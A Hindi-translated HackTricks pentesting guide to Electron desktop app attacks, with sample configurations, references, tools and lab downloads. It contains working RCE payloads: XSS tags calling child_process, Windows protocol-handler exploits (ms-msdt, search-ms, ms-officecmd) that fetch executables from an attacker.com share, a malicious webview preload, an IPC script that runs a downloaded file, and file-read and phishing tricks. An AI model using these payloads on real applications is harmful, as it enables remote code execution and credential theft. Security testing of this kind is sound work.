# Electron Desktop Apps

{{#include ../../../banners/hacktricks-training.md}}

## Introduction

Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटेंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।

आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron ऐप के स्रोत कोड में, `packet.json` के अंदर, आप `main.js` फ़ाइल को पा सकते हैं जहाँ सुरक्षा कॉन्फ़िग्स सेट किए गए हैं।
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron के 2 प्रक्रिया प्रकार हैं:

- मुख्य प्रक्रिया (NodeJS तक पूर्ण पहुंच है)
- रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की सीमित पहुंच होनी चाहिए)

![](<../../../images/image (182).png>)

एक **रेंडरर प्रक्रिया** एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड कर रही है:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** की सेटिंग्स को **main process** में main.js फ़ाइल के अंदर **config किया** जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **सेटिंग्स को सही तरीके से कॉन्फ़िगर किया गया** है।

Electron एप्लिकेशन **डिवाइस तक पहुँच** सकता है Node APIs के माध्यम से, हालाँकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:

- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि चालू है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है।
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि बंद है, तो मुख्य और renderer processes अलग नहीं होते हैं।
- **`preload`** - डिफ़ॉल्ट रूप से खाली है।
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से बंद है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा।
- Workers में Node Integration
- **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है।
- यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron एप्लिकेशन के भीतर **iframes** में **लोड की गई** वेब पृष्ठों में **Node.js APIs** के उपयोग की अनुमति देगा।
- यदि **`nodeIntegration`** **अक्षम** है, तो प्रीलोड्स iframe में लोड होंगे।

कॉन्फ़िगरेशन का उदाहरण:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
कुछ **RCE पेलोड** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### ट्रैफ़िक कैप्चर करें

स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें जैसे:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection

यदि आप स्थानीय रूप से एक Electron ऐप को निष्पादित कर सकते हैं, तो यह संभव है कि आप इसे मनमाना जावास्क्रिप्ट कोड निष्पादित करने के लिए बना सकें। जानें कैसे:

{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}

## RCE: XSS + nodeIntegration

यदि **nodeIntegration** को **on** पर सेट किया गया है, तो एक वेब पृष्ठ का जावास्क्रिप्ट आसानी से Node.js सुविधाओं का उपयोग कर सकता है बस `require()` को कॉल करके। उदाहरण के लिए, Windows पर calc एप्लिकेशन को निष्पादित करने का तरीका है:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>

## RCE: preload

इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुंच** है:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
इसलिए, स्क्रिप्ट पृष्ठों पर node-features को निर्यात कर सकती है:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```

```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **यदि `contextIsolation` चालू है, तो यह काम नहीं करेगा**

## RCE: XSS + contextIsolation

_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों को पेश करता है** ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।

यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है:

1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेशन)
2. **प्रीलोड या Electron आंतरिक कोड में उपयोग किए जाने वाले अंतर्निहित विधि को ओवरराइट करें**
3. **ओवरराइट की गई विधि** का उपयोग **प्रेरित करें**
4. RCE?

अंतर्निहित विधियों को ओवरराइट करने के लिए 2 स्थान हैं: प्रीलोड कोड में या Electron आंतरिक कोड में:

{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}

{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}

{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}

### क्लिक इवेंट बायपास करें

यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **सामान्य बाएं क्लिक के बजाय मध्य क्लिक करके** उन्हें बायपास करने में सक्षम हो सकते हैं।
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal

इस उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)

जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।

जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स सक्रिय होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
ये श्रोता **डेस्कटॉप एप्लिकेशन द्वारा अधिलेखित** किए जाते हैं ताकि इसका अपना **व्यापारिक तर्क** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally` के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।

**यहां एक सरल उप pseudocode है:**

![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)

![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)

Electron JS सुरक्षा सर्वोत्तम प्रथाएँ `openExternal` फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार करने के खिलाफ सलाह देती हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई [इस संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) का संदर्भ ले सकता है, जिसमें इस भेद्यता का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।

macos में, `openExternal` फ़ंक्शन का उपयोग मनमाने आदेशों को निष्पादित करने के लिए किया जा सकता है जैसे कि `shell.openExternal('file:///System/Applications/Calculator.app')` में।

**Windows प्रोटोकॉल शोषण के उदाहरणों में शामिल हैं:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal

यह vuln **[इस रिपोर्ट](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाया जा सकता है।

**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, जिसे बंद कर देना चाहिए क्योंकि यह preload context के अंदर एक स्क्रिप्ट लोड करने की अनुमति देता है जैसे:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
इसलिए, एक हमलावर जो एक मनमाना पृष्ठ लोड करने में सफल होता है, वह उस टैग का उपयोग करके **एक मनमाना प्रीलोड स्क्रिप्ट लोड** कर सकता है।

इस प्रीलोड स्क्रिप्ट का दुरुपयोग किया गया था ताकि **कमजोर IPC सेवा (`skype-new-window`)** को कॉल किया जा सके, जो **`shell.openExternal`** को कॉल कर रहा था ताकि RCE प्राप्त किया जा सके:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation

**`contextIsolation` को अक्षम करना `<webview>` टैग के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का उपयोग करके आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:

![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)

इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का शोषण करने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + पुराना Chromium**

यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना** संभव हो सकता है।\
आप इस **writeup** में एक उदाहरण देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

## **XSS फ़िशिंग आंतरिक URL regex बायपास के माध्यम से**

मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।

सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड में क्या होता है:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
```
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।

यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जाए** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` प्रोटोकॉल

जैसा कि [दस्तावेज़ों](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) में उल्लेख किया गया है, **`file://`** पर चलने वाले पृष्ठों को आपके मशीन पर हर फ़ाइल तक एकतरफा पहुंच होती है, जिसका अर्थ है कि **XSS समस्याओं का उपयोग उपयोगकर्ता की मशीन से मनमाने फ़ाइलों को लोड करने के लिए किया जा सकता है**। एक **कस्टम प्रोटोकॉल** का उपयोग इस तरह की समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल विशिष्ट फ़ाइलों के सेट को सर्व करने तक सीमित कर सकते हैं।

## रिमोट मॉड्यूल

Electron रिमोट मॉड्यूल **रेन्डर प्रोसेस को मुख्य प्रोसेस APIs तक पहुंचने** की अनुमति देता है, जो Electron एप्लिकेशन के भीतर संचार को सुविधाजनक बनाता है। हालाँकि, इस मॉड्यूल को सक्षम करना महत्वपूर्ण सुरक्षा जोखिम पेश करता है। यह एप्लिकेशन के हमले की सतह को बढ़ाता है, जिससे यह क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों जैसी कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।

> [!TIP]
> हालाँकि **रिमोट** मॉड्यूल कुछ APIs को मुख्य से रेन्डर प्रोसेस में उजागर करता है, केवल घटकों का दुरुपयोग करके RCE प्राप्त करना सीधा नहीं है। हालाँकि, घटक संवेदनशील जानकारी को उजागर कर सकते हैं।

> [!WARNING]
> कई ऐप्स जो अभी भी रिमोट मॉड्यूल का उपयोग करते हैं, इसे इस तरह से करते हैं कि **रेन्डर प्रोसेस में NodeIntegration को सक्षम करने की आवश्यकता होती है**, जो एक **बड़ा सुरक्षा जोखिम** है।

Electron 14 से, Electron का `remote` मॉड्यूल कई कारणों से सुरक्षा और प्रदर्शन कारणों से **इसे उपयोग न करने की सिफारिश की जाती है**।

इसे सक्षम करने के लिए, सबसे पहले **इसे मुख्य प्रोसेस में सक्षम करना आवश्यक है**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
फिर, रेंडरर प्रक्रिया उस मॉड्यूल से ऑब्जेक्ट्स को इस तरह आयात कर सकती है:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** कुछ दिलचस्प **functions** को दर्शाता है जो **`app`** ऑब्जेक्ट द्वारा remote module से उपलब्ध हैं:

- **`app.relaunch([options])`**
- **वर्तमान** उदाहरण को **बंद** करके और एक नया **लॉन्च** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
- **`app.setAppLogsPath([path])`**
- **ऐप लॉग्स** को संग्रहीत करने के लिए एक निर्देशिका **परिभाषित** या **बनाता** है। लॉग्स को **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके **प्राप्त** या **संशोधित** किया जा सकता है।
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- एक निर्दिष्ट **प्रोटोकॉल** के लिए वर्तमान निष्पादन योग्य को **डिफ़ॉल्ट हैंडलर** के रूप में **पंजीकृत** करता है। यदि आवश्यक हो तो आप एक **कस्टम पथ** और **आर्गुमेंट्स** प्रदान कर सकते हैं।
- **`app.setUserTasks(tasks)`**
- **जंप लिस्ट** में **टास्क श्रेणी** में कार्य **जोड़ता** है (Windows पर)। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
- **`app.importCertificate(options, callback)`**
- सिस्टम के **सर्टिफिकेट स्टोर** में एक **PKCS#12 सर्टिफिकेट** **आयात** करता है (केवल Linux)। परिणाम को संभालने के लिए एक **callback** का उपयोग किया जा सकता है।
- **`app.moveToApplicationsFolder([options])`**
- एप्लिकेशन को **Applications folder** में **स्थानांतरित** करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए एक **मानक स्थापना** सुनिश्चित करने में मदद करता है।
- **`app.setJumpList(categories)`**
- **Windows** पर एक **कस्टम जंप लिस्ट** को **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
- **`app.setLoginItemSettings(settings)`**
- **लॉगिन** पर कौन से **निष्पादन योग्य** **लॉन्च** होते हैं और उनके **विकल्पों** को **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module

Electron में सिस्टम प्रेफरेंस तक पहुँचने और सिस्टम इवेंट्स को **उत्सर्जित** करने के लिए **प्राथमिक API**। **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे तरीके इस मॉड्यूल का **भाग** हैं।

**Example usage:**
```javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**

* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है NSDistributedNotificationCenter का उपयोग करके।
* **macOS Catalina** से पहले, आप **nil** को CFNotificationCenterAddObserver में पास करके **सभी** वितरित सूचनाओं को स्निफ कर सकते थे।
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाओं को **सब्सक्राइब** कर सकते हैं।

### **getUserDefault / setUserDefault**

* **NSUserDefaults** के साथ **इंटरफेस** करता है, जो macOS पर **ऐप्लिकेशन** या **वैश्विक** प्राथमिकताएँ संग्रहीत करता है।

* **getUserDefault** संवेदनशील जानकारी, जैसे **हाल के फ़ाइल स्थान** या **उपयोगकर्ता का भौगोलिक स्थान** **प्राप्त** कर सकता है।

* **setUserDefault** इन प्राथमिकताओं को **संशोधित** कर सकता है, जो ऐप की **कॉन्फ़िगरेशन** को प्रभावित कर सकता है।

* **पुराने Electron संस्करणों** (v8.3.0 से पहले) में, केवल NSUserDefaults का **मानक सूट** **सुलभ** था।

## Shell.showItemInFolder

यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल प्रबंधक में दिखाता है, जो **स्वतः फ़ाइल को निष्पादित कर सकता है**।

अधिक जानकारी के लिए देखें [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

## Content Security Policy

Electron ऐप्स को **XSS हमलों** को **रोकने** के लिए एक **Content Security Policy (CSP)** होनी चाहिए। **CSP** एक **सुरक्षा मानक** है जो ब्राउज़र में **अविश्वसनीय कोड** के **निष्पादन** को **रोकने** में मदद करता है।

यह आमतौर पर **`main.js`** फ़ाइल या **`index.html`** टेम्पलेट में **मेटा टैग** के अंदर CSP के साथ **कॉन्फ़िगर** किया जाता है।

अधिक जानकारी के लिए देखें:

{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}


## **Tools**

- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक उपकरण है जो Electron-आधारित अनुप्रयोगों में गलत कॉन्फ़िगरेशन और सुरक्षा एंटी-पैटर्न की पहचान करता है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर तृतीय पक्ष पुस्तकालयों की जांच करने के लिए
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा

## Labs

[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) में आप कमजोर Electron ऐप्स का शोषण करने के लिए एक प्रयोगशाला पा सकते हैं।

कुछ कमांड जो आपको प्रयोगशाला में मदद करेंगे:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **संदर्भ**

- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron सुरक्षा के बारे में अधिक शोध और लेख [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

{{#include ../../../banners/hacktricks-training.md}}